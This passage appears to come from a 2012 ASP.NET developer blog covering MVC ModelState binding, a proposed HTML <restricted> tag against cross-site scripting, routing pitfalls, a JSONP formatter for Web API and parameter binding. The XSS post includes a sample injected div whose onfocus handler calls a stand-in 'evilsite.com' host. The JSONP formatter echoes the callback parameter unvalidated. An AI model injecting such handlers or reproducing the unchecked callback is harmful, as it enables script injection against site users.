and so unless one understands a little bit about how the model binder works this is easy to trip up. At least it was for me. Even though I'm telling the control which model value to bind to, that model value is only used initially on GET operations. After that ModelState/POST values provide the display value.

Workarounds

The default behavior should be fine for 99% of binding scenarios. But if you do need fix up values based on your model rather than the default POST values, there are a number of ways that you can work around this.

Initially when I ran into this, I couldn't figure out how to set the value using code and so the simplest solution to me was simply to not use the MVC Html Helper for the specific control and explicitly bind the model via HTML markup and @Razor expression:

<input type="text" name="User.Email" id="User_Email" value="@Model.User.Email" />

And this produces the right result. This is easy enough to create, but feels a little out of place when using the @Html helpers for everything else. As you can see by the difference in the name and id values, you also are forced to remember the naming conventions that MVC imposes in order for ModelBinding to work properly which is a pain to remember and set manually (name is the same as the property with . syntax, id replaces dots with underlines).

Use the ModelState

Some of my original confusion came because I didn't understand how the model binder works. The model binder basically maintains ModelState on a postback, which holds a value and binding errors for each of the Post back value submitted on the page that can be mapped to the model. In other words there's one ModelState entry for each bound property of the model. Each ModelState entry contains a value property that holds AttemptedValue and RawValue properties. The AttemptedValue is essentially the POST value retrieved from the form. The RawValue is the value that the model holds.

When MVC binds controls like @Html.TextBoxFor() or @Html.TextBox(), it always binds values on a GET operation. On a POST operation however, it'll always used the AttemptedValue to display the control. MVC binds using the ModelState on a POST operation, not the model's value.

So, if you want the behavior that I was expecting originally you can actually get it by clearing the ModelState in the controller code:

ModelState.Clear();

This clears out all the captured ModelState values, and effectively binds to the model. Note this will produce very similar results - in fact if there are no binding errors you see exactly the same behavior as if binding from ModelState, because the model has been updated from the ModelState already and binding to the updated values most likely produces the same values you would get with POST back values.

The big difference though is that any values that couldn't bind - like say putting a string into a numeric field - will now not display back the value the user typed, but the default field value or whatever you changed the model value to.

This is the behavior I was actually expecting previously. But - clearing out all values might be a bit heavy handed. You might want to fix up one or two values in a model but rarely would you want the entire model to update from the model.

So, you can also clear out individual values on an as needed basis:

if (userBus.DoesEmailExist(user.Email))
{
    userBus.ValidationErrors.Add("New email address exists already. Please…");
    user.Email = oldEmail;

    ModelState.Remove("User.Email");                    
}

This allows you to remove a single value from the ModelState and effectively allows you to replace that value for display from the model.

Why?

While researching this I came across a post from Microsoft's Brad Wilson who describes the default binding behavior best in a forum post:

The reason we use the posted value for editors rather than the model value is that the model may not be able to contain the value that the user typed. Imagine in your "int" editor the user had typed "dog". You want to display an error message which says "dog is not valid", and leave "dog" in the editor field. However, your model is an int: there's no way it can store "dog". So we keep the old value.

If you don't want the old values in the editor, clear out the Model State. That's where the old value is stored and pulled from the HTML helpers.

There you have it. It's not the most intuitive behavior, but in hindsight this behavior does make some sense even if at first glance it looks like you should be able to update values from the model. The solution of clearing ModelState works and is a reasonable one but you have to know about some of the innards of ModelState and how it actually works to figure that out.

Posted in ASP.NET MVC

Wishful Thinking: Why can't HTML fix Script Attacks at the Source?

Rick Strahl — Sun, 15 Apr 2012 00:49:20 GMT

The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings.

The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided.

Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default.

In Razor the default @ expression syntax:

@Model.UserContent

automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class.

In Web Forms (V4) you can use:

<%: Model.UserContent %>

or if you're using a version prior to 4.0:

<%= HttpUtility.HtmlEncode(Model.UserContent) %>

This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless.

If you do accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task.

In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently. Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places.

In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*.

My Wishlist Item: A <restricted> tag in HTML

Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML?

The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document.

So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target.

I'd like to see something along these lines:

<article>    
    <restricted allowscripts="no" allowiframes="no">
        <div>Some content</div>
        <script>alert('go ahead make my day, punk!");</script>
        <div onfocus="$.getJson('http://evilsite.com/')">more content</div>
    </restricted>
</article>

A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:

<article>    
    <restricted>
        @Html.Raw(Model.UserContent)
    </restricted>
</article>

For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors.

There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think.

Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do.

The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that.

Ahhhh… one can dream…

Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly.

Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen.

It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.

Posted in ASP.NET HTML5 HTML Security

Odd MVC 4 Beta Razor Designer Issue

Rick Strahl — Sat, 14 Apr 2012 19:54:02 GMT

This post is a small cry for help along with an explanation of a problem that is hard to describe on twitter or even a connect bug and written in hopes somebody has seen this before and any ideas on what might cause this. Lots of helpful people had comments on Twitter for me, but they all assumed that the code doesn't run, which is not the case - it's a designer issue.

A few days ago I started getting some odd problems in my MVC 4 designer for an app I've been working on for the past 2 weeks. Basically the MVC 4 Razor designer keeps popping me errors, about the call signature to various Html Helper methods being incorrect. It also complains about the ViewBag object and not supporting dynamic requesting to load assemblies into the project.

Here's what the designer errors look like:

You can see the red error underlines under the ViewBag and an Html Helper I plopped in at the top to demonstrate the behavior. Basically any HtmlHelper I'm accessing is showing the same errors.

Note that the code *runs just fine* - it's just the designer that is complaining with Errors.

What's odd about this is that *I think* this started only a few days ago and nothing consequential that I can think of has happened to the project or overall installations. These errors aren't critical since the code runs but pretty annoying especially if you're building and have .csHtml files open in Visual Studio mixing these fake errors with real compiler errors.

What I've checked

Looking at the errors it indeed looks like certain references are missing. I can't make sense of the Html Helpers error, but certainly the ViewBag dynamic error looks like System.Core or Microsoft.CSharp assemblies are missing. Rest assured they are there and the code DOES run just fine at runtime. This is a designer issue only.

I went ahead and checked the namespaces that MVC has access to in Razor which lives in the Views folder's web.config file:

/Views/web.config

For good measure I added

  <system.web.webPages.razor>
    <host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc,  <split for layout>
                       Version=4.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
    <pages pageBaseType="System.Web.Mvc.WebViewPage">
      <namespaces>
        <add namespace="System.Web.Mvc" />
        <add namespace="System.Web.Mvc.Ajax" />
        <add namespace="System.Web.Mvc.Html" />
        <add namespace="System.Web.Routing" />
        <add namespace="System.Linq" />
        <add namespace="System.Linq.Expressions" />
        <add namespace="ClassifiedsBusiness" />
        <add namespace="ClassifiedsWeb"/>
        <add namespace="Westwind.Utilities" />
        <add namespace="Westwind.Web" />
        <add namespace="Westwind.Web.Mvc" />
      </namespaces>
    </pages>
  </system.web.webPages.razor>

For good measure I added System.Linq and System.Linq.Expression on which some of the Html.xxxxFor() methods rely, but no luck.

So, has anybody seen this before? Any ideas on what might be causing these issues only at design time rather, when the final compiled code runs just fine?

Posted in Razor MVC

Physical Directories vs. MVC View Paths

Rick Strahl — Thu, 05 Apr 2012 21:38:36 GMT

This post falls into the bucket of operator error on my part, but I want to share this anyway because it describes an issue that has bitten me a few times now and writing it down might keep it a little stronger in my mind.

I've been working on an MVC project the last few days, and at the end of a long day I accidentally moved one of my View folders from the MVC Root Folder to the project root. It must have been at the very end of the day before shutting down because tests and manual site navigation worked fine just before I quit for the night. I checked in changes and called it a night.

Next day I came back, started running the app and had a lot of breaks with certain views. Oddly custom routes to these controllers/views worked, but stock /{controller}/{action} routes would not. After a bit of spelunking I realized that "Hey one of my View Folders is missing", which made some sense given the error messages I got. I looked in the recycle bin - nothing there, so rather than try to figure out what the hell happened, just restored from my last SVN checkin. At this point the folders are back… but… view access still ends up breaking for this set of views.

Specifically I'm getting the Yellow Screen of Death with:

CS0103: The name 'model' does not exist in the current context

Here's the full error:

Server Error in '/ClassifiedsWeb' Application.

Compilation Error

Description: An error occurred during the compilation of a resource required to service this request. Please review the following specific error details and modify your source code appropriately.
Compiler Error Message: CS0103: The name 'model' does not exist in the current context
Source Error:

Line 1:  @model ClassifiedsWeb.EntryViewModel
Line 2:  @{
Line 3:      ViewBag.Title =  Model.Entry.Title + " - " +  ClassifiedsBusiness.App.Configuration.ApplicationName;

Source File: c:\Projects2010\Clients\GorgeNet\Classifieds\ClassifiedsWeb\Classifieds\Show.cshtml Line: 1

Compiler Warning Messages:

Show Detailed Compiler Output:

Show Complete Compilation Source:

Version Information: Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.0.30319.272

Here's what's really odd about this error: The views now do exist in the /Views/Classifieds folder of the project, but it appears like MVC is trying to execute the views directly. This is getting pretty weird, man!

So I hook up some break points in my controllers to see if my controller actions are getting fired - and sure enough it turns out they are not - but only for those views that were previously 'lost' and then restored from SVN. WTF? At this point I'm thinking that I must have messed up one of the config files, but after some more spelunking and realizing that all the other Controller views work, I give up that idea. Config's gotta be OK if other controllers and views are working.

Root Folders and MVC Views don't mix

As I mentioned the problem was the fact that I inadvertantly managed to drag my View folder to the root folder of the project.

Here's what this looks like in my FUBAR'd project structure after I copied back /Views/Classifieds folder from SVN:

There's the actual root folder in the /Views folder and the accidental copy that sits of the root. I of course did not notice the /Classifieds folder at the root because it was excluded and didn't show up in the project. Now, before you call me a complete idiot remember that this happened by accident - an accidental drag probably just before shutting down for the night. :-)

So why does this break? MVC should be happy with views in the /Views/Classifieds folder right?

While MVC might be happy, IIS is not. The fact that there is a physical folder on disk takes precedence over MVC's routing. In other words if a URL exists that matches a route the pysical path is accessed first. What happens here is that essentially IIS is trying to execute the .cshtml pages directly without ever routing to the Controller methods. In the error page I showed above my clue should have been that the view was served as:

c:\Projects2010\Clients\GorgeNet\Classifieds\ClassifiedsWeb\Classifieds\Show.cshtml

rather than

c:\Projects2010\Clients\GorgeNet\Classifieds\ClassifiedsWeb\Views\Classifieds\Show.cshtml

But of course I didn't notice that right away, just skimming to the end and looking at the file name.

The reason that

/classifieds/list

actually fires that file is that the ASP.NET Web Pages engine looks for physical files on disk that match a path. IOW, when calling Web Pages you drop the .cshtml off the Razor page and IIS will serve that just fine. So: /classifieds/list looks and tries to find /classifieds/list.cshtml and executes that script. And that is exactly what's happening. Web Pages is trying to execute the .cshtml file and it fails because Web Pages knows nothing about the @model tag which is an MVC specific template extension.

This is why my breakpoints in the controller methods didn't fire and it also explains why the error mentions that the @model key word is invalid (@model is an MVC provided template enhancement to the Razor Engine).

The solution of course is super simple: Delete the accidentally created root folder and the problem is solved.

Routing and Physical Paths

I've run into problems with this before actually. In the past I've had a number of applications that had a physical /Admin folder which also would conflict with an MVC Admin controller. More than once I ended up wondering why the index route (/Admin/) was not working properly. If a physical /Admin folder exists /Admin will not route to the Index action (or whatever default action you have set up, but instead try to list the directory or show the default document in the folder. The only way to force the index page through MVC is to explicitly use /Admin/Index. Makes perfect sense once you realize the physical folder is there, but that's easy to forget in an MVC application.

As you might imagine after a few times of running into this I gave up on the Admin folder and moved everything into MVC views to handle those operations. Still it's one of those things that can easily bite you, because the behavior and error messages seem to point at completely different problems.

Moral of the story is: If you see routing problems where routes are not reaching obvious controller methods, always check to make sure there's isn't a physical path being mapped by IIS instead. That way you won't feel stupid like I did after trying a million things for about an hour before discovering my sloppy mousing behavior :-)

Posted in MVC IIS7

Creating a JSONP Formatter for ASP.NET Web API

Rick Strahl — Tue, 03 Apr 2012 00:03:29 GMT

Out of the box ASP.NET WebAPI does not include a JSONP formatter, but it's actually very easy to create a custom formatter that implements this functionality.

Why do we need JSONP?

JSONP is one way to allow browser based JavaScript client applications to bypass cross-site scripting limitations and serve data from the non-current Web server. AJAX in Web Applications uses the XmlHttp object which by default doesn't allow access to remote domains. There are number of ways around this limitation <script> tag loading and JSONP is one of the easiest and semi-official ways that you can do this.

JSONP works by combining JSON data and wrapping it into a function call that is executed when the JSONP data is returned. If you use a tool like jQUery it's extremely easy to access JSONP content.

Imagine that you have a URL like this:

http://RemoteDomain/aspnetWebApi/albums

which on an HTTP GET serves some data - in this case an array of record albums. This URL is always directly accessible from an AJAX request if the URL is on the same domain as the parent request. However, if that URL lives on a separate server it won't be easily accessible to an AJAX request.

Now, if the server can serve up JSONP this data can be accessed cross domain from a browser client. Using jQuery it's really easy to retrieve the same data with JSONP:

function getAlbums() {
    $.getJSON("http://remotedomain/aspnetWebApi/albums?callback=?",null,
              function (albums) {
                  alert(albums.length);
              });
}

The resulting callback the same as if the call was to a local server when the data is returned. jQuery deserializes the data and feeds it into the method. Here the array is received and I simply echo back the number of items returned. From here your app is ready to use the data as needed.

What does JSONP look like?

JSONP is a pretty simple 'protocol'. All it does is wrap a JSON response with a JavaScript function call. The above result from the JSONP call looks like this:

Query17103401925975181569_1333408916499( [{"Id":"34043957","AlbumName":"Dirty Deeds Done Dirt Cheap",…},{…}] )

The way JSONP works is that the client (jQuery in this case) sends of the request, receives the response and evals it. The eval basically executes the function and deserializes the JSON inside of the function passing the resulting object as a parameter.

How does JSONP work?

To understand how JSONP works, here's some plain JavaScript code that demonstrates the semantics:

function jsonp(url, callback) {
    // create a unique id
    var id = "_" + (new Date()).getTime();

    // create a global callback handler
    window[id] = function (result) {
        // forward the call to specified handler                                       
        if (callback)
            callback(result);
                    
        // clean up: remove script and id
        var sc = document.getElementById(id);
        sc.parentNode.removeChild(sc);
        window[id] = null;
    }

    url = url.replace("callback=?", "callback=" + id);
                
    // create script tag that loads the 'JSONP script' 
    // and executes it calling window[id] function                
    var script = document.createElement("script");
    script.setAttribute("id", id);
    script.setAttribute("src", url);
    script.setAttribute("type", "text/javascript");
    document.body.appendChild(script);
}

The code creates a script tag that basically loads the JSONP snippet and executed it executes it. The 'code' in this case is a function call, which here is a unique name of the function windows[id] I assigned to handle the callback. This method is fired and the JSON payload is converted to a JavaScript instance when it runs. This generic function then routes final result to the function that was passed in as a parameter which allows you just specify an anonymous function or a function delegate.

To call this from any JavaScript code use the following code:

function getAlbumsManual() {
    jsonp("http://rasXps/aspnetWebApi/albums?callback=?",
          function (albums) {
              alert(albums.length);
          });
}

This all works fine using either jQuery or this simple JSONP implementation - as long as the server can serve the data with JSONP.

JSONP and ASP.NET Web API

As mentioned previously, JSONP support is not natively in the box with ASP.NET Web API. But it's pretty easy to create and plug-in a custom formatter that provides this functionality.

The following code is based on Christian Weyer's example but has been updated to work with the latest Web API CodePlex bits, which changes the implementation a bit due to the way dependent objects are exposed differently in the latest builds.

Here's the code:

using System;
using System.IO;
using System.Net;
using System.Net.Http.Formatting;
using System.Net.Http.Headers;
using System.Threading.Tasks;
using System.Web;
using System.Net.Http;

namespace Westwind.Web.WebApi
{

    /// <summary>
    /// Handles JsonP requests when requests are fired with 
    /// text/javascript or application/json and contain 
    /// a callback= (configurable) query string parameter
    /// 
    /// Based on Christian Weyers implementation
    /// https://github.com/thinktecture/Thinktecture.Web.Http/blob/master/Thinktecture.Web.Http/Formatters/JsonpFormatter.cs
    /// </summary>
    public class JsonpFormatter : JsonMediaTypeFormatter
    {                

        public JsonpFormatter()
        {
            SupportedMediaTypes.Add(new MediaTypeHeaderValue("application/json"));
            SupportedMediaTypes.Add(new MediaTypeHeaderValue("text/javascript"));            
            //MediaTypeMappings.Add(new UriPathExtensionMapping("jsonp", "application/json"));
            
            JsonpParameterName = "callback";
        }

        /// <summary>
        ///  Name of the query string parameter to look for
        ///  the jsonp function name
        /// </summary>
        public string JsonpParameterName {get; set; }

        /// <summary>
        /// Captured name of the Jsonp function that the JSON call
        /// is wrapped in. Set in GetPerRequestFormatter Instance
        /// </summary>
        private string JsonpCallbackFunction;


        public override bool CanWriteType(Type type)
        {
            return true;
        }       

        /// <summary>
        /// Override this method to capture the Request object
        /// and look for the query string parameter and 
        /// create a new instance of this formatter.
        /// 
        /// This is the only place in a formatter where the
        /// Request object is available.
        /// </summary>
        /// <param name="type"></param>
        /// <param name="request"></param>
        /// <param name="mediaType"></param>
        /// <returns></returns>
        public override MediaTypeFormatter GetPerRequestFormatterInstance(Type type,

                                                HttpRequestMessage request, 
                                                MediaTypeHeaderValue mediaType)
        {       
            var formatter = new JsonpFormatter() 
            {                 
                JsonpCallbackFunction = GetJsonCallbackFunction(request) 
            };
            
            return formatter;
        }
        
        /// <summary>
        /// Override to wrap existing JSON result with the
        /// JSONP function call
        /// </summary>
        /// <param name="type"></param>
        /// <param name="value"></param>
        /// <param name="stream"></param>
        /// <param name="contentHeaders"></param>
        /// <param name="transportContext"></param>
        /// <returns></returns>
        public override Task WriteToStreamAsync(Type type, object value, Stream stream,
                                                     HttpContentHeaders contentHeaders,
                                                    TransportContext transportContext)
        {                                     
            if (!string.IsNullOrEmpty(JsonpCallbackFunction))
            {
                return Task.Factory.StartNew(() =>
                {
                    var writer = new StreamWriter(stream);
                    writer.Write( JsonpCallbackFunction + "(");
                    writer.Flush();

                    base.WriteToStreamAsync(type, value, stream, contentHeaders,
                                            transportContext).Wait();

                    writer.Write(")");
                    writer.Flush();
                });
            }
            else
            {
                return base.WriteToStreamAsync(type, value, stream, contentHeaders, transportContext);
            }
        }

        /// <summary>
        /// Retrieves the Jsonp Callback function
        /// from the query string
        /// </summary>
        /// <returns></returns>
        private string GetJsonCallbackFunction(HttpRequestMessage request)
        {
            if (request.Method != HttpMethod.Get)
                return null;

            var query = HttpUtility.ParseQueryString(request.RequestUri.Query);
            var queryVal = query[this.JsonpParameterName];

            if (string.IsNullOrEmpty(queryVal))
                return null;

            return queryVal;
        }
    }
}

Note again that this code will not work with the Beta bits of Web API - it works only with post beta bits from CodePlex and hopefully this will continue to work until RTM :-)

This code is a bit different from Christians original code as the API has changed. The biggest change is that the Read/Write functions no longer receive a global context object that gives access to the Request and Response objects as the older bits did.

Instead you now have to override the GetPerRequestFormatterInstance() method, which receives the Request as a parameter. You can capture the Request there, or use the request to pick up the values you need and store them on the formatter. Note that I also have to create a new instance of the formatter since I'm storing request specific state on the instance (information whether the callback= querystring is present) so I return a new instance of this formatter.

Other than that the code should be straight forward: The code basically writes out the function pre- and post-amble and the defers to the base stream to retrieve the JSON to wrap the function call into. The code uses the Async APIs to write this data out (this will take some getting used to seeing all over the place for me).

Hooking up the JsonpFormatter

Once you've created a formatter, it has to be added to the request processing sequence by adding it to the formatter collection. Web API is configured via the static GlobalConfiguration object.

protected void Application_Start(object sender, EventArgs e)
{

   // Verb Routing 
   RouteTable.Routes.MapHttpRoute(
        name: "AlbumsVerbs",
        routeTemplate: "albums/{title}",
        defaults: new
        {
            title = RouteParameter.Optional,
            controller = "AlbumApi"                   
        }
    );

    GlobalConfiguration
        .Configuration
        .Formatters
        .Insert(0, new Westwind.Web.WebApi.JsonpFormatter());

That's all it takes.

Note that I added the formatter at the top of the list of formatters, rather than adding it to the end which is required. The JSONP formatter needs to fire before any other JSON formatter since it relies on the JSON formatter to encode the actual JSON data. If you reverse the order the JSONP output never shows up. So, in general when adding new formatters also try to be aware of the order of the formatters as they are added.

Resources

JsonpFormatter Code on GitHub

Posted in Web Api

ASP.NET Web API and Simple Value Parameters from POSTed data

Rick Strahl — Thu, 22 Mar 2012 00:05:29 GMT

In testing out various features of Web API I've found a few oddities in the way that the serialization is handled. These are probably not super common but they may throw you for a loop. Here's what I found.

Simple Parameters from Xml or JSON Content

Web API makes it very easy to create action methods that accept parameters that are automatically parsed from XML or JSON request bodies. For example, you can send a JavaScript JSON object to the server and Web API happily deserializes it for you.

This works just fine:

public string ReturnAlbumInfo(Album album)
{
    return album.AlbumName + " (" + album.YearReleased.ToString() + ")";
}

However, if you have methods that accept simple parameter types like strings, dates, number etc., those methods don't receive their parameters from XML or JSON body by default and you may end up with failures. Take the following two very simple methods:

public string  ReturnString(string message)
{            
    return message;
}

public HttpResponseMessage ReturnDateTime(DateTime time)
{
    return Request.CreateResponse<DateTime>(HttpStatusCode.OK, time);
}

The first one accepts a string and if called with a JSON string from the client like this:

var client = new HttpClient();
var result = client.PostAsJsonAsync<string>(http://rasxps/AspNetWebApi/albums/rpc/ReturnString,

                                            "Hello World").Result;

which results in a trace like this:

POST http://rasxps/AspNetWebApi/albums/rpc/ReturnString HTTP/1.1
Content-Type: application/json; charset=utf-8
Host: rasxps
Content-Length: 13
Expect: 100-continue
Connection: Keep-Alive

"Hello World"

produces… wait for it: null.

Sending a date in the same fashion:

var client = new HttpClient();
var result = client.PostAsJsonAsync<DateTime>(http://rasxps/AspNetWebApi/albums/rpc/ReturnDateTime, 
                                              new DateTime(2012, 1, 1)).Result;

results in this trace:

POST http://rasxps/AspNetWebApi/albums/rpc/ReturnDateTime HTTP/1.1
Content-Type: application/json; charset=utf-8
Host: rasxps
Content-Length: 30
Expect: 100-continue
Connection: Keep-Alive

"\/Date(1325412000000-1000)\/"

(yes still the ugly MS AJAX date, yuk! This will supposedly change by RTM with Json.net used for client serialization)

produces an error response:

The parameters dictionary contains a null entry for parameter 'time' of non-nullable type 'System.DateTime' for method 'System.Net.Http.HttpResponseMessage ReturnDateTime(System.DateTime)' in 'AspNetWebApi.Controllers.AlbumApiController'. An optional parameter must be a reference type, a nullable type, or be declared as an optional parameter.

Basically any simple parameters are not parsed properly resulting in null being sent to the method. For the string the call doesn't fail just producing null, but for the non-nullable date it produces an error because the method can't handle a null value.

This behavior is a bit unexpected to say the least, but there's a simple solution to make this work using an explicit [FromBody] attribute:

public string  ReturnString([FromBody] string message)

and

public HttpResponseMessage ReturnDateTime([FromBody] DateTime time)

which explicitly instructs Web API to read the value from the body.

UrlEncoded Form Variable Parsing

updated 3/23/2012 with additional information about FormDataCollection

Another similar issue I ran into is with POST Form Variable binding. Web API can retrieve parameters from the QueryString and Route Values but it doesn't explicitly map parameters from POST values either.

Taking our same ReturnString function from earlier and posting a message POST variable like this:

var formVars = new Dictionary<string,string>();
formVars.Add("message", "Some Value");
var content = new FormUrlEncodedContent(formVars);

var client = new HttpClient();
var result = client.PostAsync(http://rasxps/AspNetWebApi/albums/rpc/ReturnString,
                             content).Result;

which produces this trace:

POST http://rasxps/AspNetWebApi/albums/rpc/ReturnString HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: rasxps
Content-Length: 18
Expect: 100-continue

message=Some+Value

When calling ReturnString:

public string  ReturnString(string message)
{            
    return message;
}

unfortunately it does not map the message value to the message parameter. This sort of mapping unfortunately is not available in Web API.

Web API does support binding to form variables but only as part of model binding, which binds model properties to the POST variables. Sending the same message to the following method that access a model object works:

public string ReturnMessageModel(MessageModel model)
{        
    return model.Message;
}


public class MessageModel
{
    public string Message { get; set; }

Note that the model is bound and the message form variable is mapped to the Message property as would other POST form variables if there were more. This works but it's not very dynamic as you have to a have a static model parameter.

You can get at the form variables manually however. You can specify that the parameter is a FormDataCollection instance:

public string  ReturnFormVariableString(FormDataCollection formData)
{
    return formData.Get("message");
}

Oddly FormDataCollection does not allow for indexers to work so you have to use the .Get() or .GetValues() methods (for multi-select values) which is pretty weird for a collection type.

Note that although this isn't recommended: If you're running Web API under ASP.NET you still have access to the HttpContext.Current.Request object. This will work ONLY in ASP.NET and not in self-hosted scenarios and will significantly complicate test scenarios, but if you need to get at some data that Web API doesn't expose the Request is there for you in a pinch. There shouldn't be much that Web API doesn't expose though, so try to avoid use of it even if sometimes it just seems easier to go that route.

Access the QueryString

Querystring values are automatically mapped to parameters on the controller method fired. In most cases that's sufficient, but if for some reason you have too many querystring values to push into parameters or you otherwise need to parse your querystring explicitly here's how you can do that from within a controller method:

var queryVals = Request.RequestUri.ParseQueryString();    
var message = queryVals["message"];

Note that ParseQueryString is an Extension Method to Uri in System.Net.Http so make sure to add that namespace.

Summary

As you can see Web API makes most things related to parameter mapping pretty easy, but there are some behaviors can be a little 'different' and require a little more work than we might be used from directly accessing HttpContext.Current in plain ASP.NET applications. While HttpContext is still available in Web API when running under IIS, in general it's not a good idea to use it. First and most importantly it only works when running under IIS which means it doesn't work for self-hosting and is problematic if you are unit testing your Web API code since no HttpContext is available under test. Inside of the controller most Http features are available from the Request property although it might require a little digging the first few times you need access to form variables and querystrings.

In a way it's funny that accessing complex values in Web API actually requires less effort than accessing simple values. I'm not fond of the decision to make the behavior between simple and complex types different when mapping parameters - when I first started playing with Web API it actually led me to a bunch of false assumptions about what wasn't working. For example I first ran into this with date values and assumed this was a problem with Web API's date parsing when in fact it was simply the parameter mapping that didn't work. I hope some revision happens here make this easier still.

Also realize that Web API doesn't have any sort of global context object. Controllers get easy access to the Request object, but lower level components like formatters, filters and message handlers don't have easy access to these objects. These APIs require special methods that can intercept and capture the Request which is a topic for another post.

One of the reasons that these inconsistencies exist is that there are a number of different binding approaches used by Web API: QueryString mapping, Post data model binding, xml and json parsing of single values etc. and the order of the paths through Web API end up causing some of these issues. While I think they are pretty annoying and can result in WTF moments, I also think that the scenarios where it happens (single value assignments) are pretty rare. I suspect most applications will opt to pass objects around or map POST/PUT data to a server side View model rather than posting individual values. But nevertheless it's important to understand that there are some… cough… unexpected behaviors.

Posted in Web Api

Rick Strahl's Web Log

DropDownList and SelectListItem Array Item Updates in MVC

Watch that ModelBinder!

Passing multiple POST parameters to Web API Controller Methods

RPC vs. 'Proper' REST

Action Routing for RPC Style Calls

Using the Model Binder with plain POST values

Passing multiple Parameters to a Web API Controller

Use both POST *and* QueryString Parameters in Conjunction

Use a single Object that wraps the two Parameters

Use JObject to parse multiple Property Values out of an Object

Summary

Amazon Product Advertising API SOAP Namespace Changes

Amazon Services

GZip/Deflate Compression in ASP.NET MVC

The proper way: Create an ActionFilterAttribute

Compression Caveats

Related Posts

Internet Explorer and Cookie Domains

Configuration Setting

Logging Out

Getting a 'base' Domain from a Domain

ASP.NET MVC Postbacks and HtmlHelper Controls ignoring Model Changes

What should the behavior be?

Workarounds

Use the ModelState

Why?

Wishful Thinking: Why can't HTML fix Script Attacks at the Source?

My Wishlist Item: A <restricted> tag in HTML

Ahhhh… one can dream…

Odd MVC 4 Beta Razor Designer Issue

What I've checked

Physical Directories vs. MVC View Paths

Server Error in '/ClassifiedsWeb' Application.

Compilation Error

Root Folders and MVC Views don't mix

Routing and Physical Paths

Creating a JSONP Formatter for ASP.NET Web API

Why do we need JSONP?

What does JSONP look like?

How does JSONP work?

JSONP and ASP.NET Web API

Hooking up the JsonpFormatter

Resources

ASP.NET Web API and Simple Value Parameters from POSTed data

Simple Parameters from Xml or JSON Content

UrlEncoded Form Variable Parsing

Access the QueryString

Summary

**Use both POST and QueryString Parameters in Conjunction**